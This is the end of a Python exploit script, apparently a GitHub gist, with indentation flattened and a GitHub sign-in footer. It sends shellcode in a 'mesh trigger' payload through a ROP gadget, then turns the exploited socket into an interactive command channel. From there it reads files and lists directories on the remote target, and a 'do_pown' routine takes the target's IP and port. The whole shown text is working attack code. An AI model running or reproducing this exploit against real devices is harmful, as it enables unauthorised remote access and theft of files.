payload = payload + shellcode
print("send trigger message ")
fc9.mesh_trig_payload(payload, gadget = ADD_RSP_0x18_GADGET)
# Custom server from reused socket
pingback = fc9._socket.recv(0x300)
if len(pingback):
print("ping received")
print(pingback)
while True:
cmd = input("enter command:")
path = input("enter path:")
c = b"\x02"
if cmd == "read":
c = b"\x00"
if cmd == "list":
c = b"\x01"
buf = c + path.encode('utf-8')
fc9._socket.send(buf)
response = fc9._socket.recv(0x300)
if len(response):
parse_response (c, response)
def parse_response(command, buffer):
# getdents types
DIR_TYPE = 0x04
FILE_TYPE = 0x08
if command == 0x00:
print(buffer)
previous_char = 0x00
for i in range(0, len(buffer)):
current_char = buffer[i]
if (current_char == DIR_TYPE or current_char == FILE_TYPE) and previous_char == 0x00:
# trim name
s = buffer[i+1:]
end = s.find(b"\x00")
s = s[0:end]
#
print("%s : %s" % (("file", "dir")[current_char == DIR_TYPE], s))
previous_char = current_char
if __name__ == '__main__':
ip = sys.argv[1]
port = int(sys.argv[2])
do_pown(ip, port)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment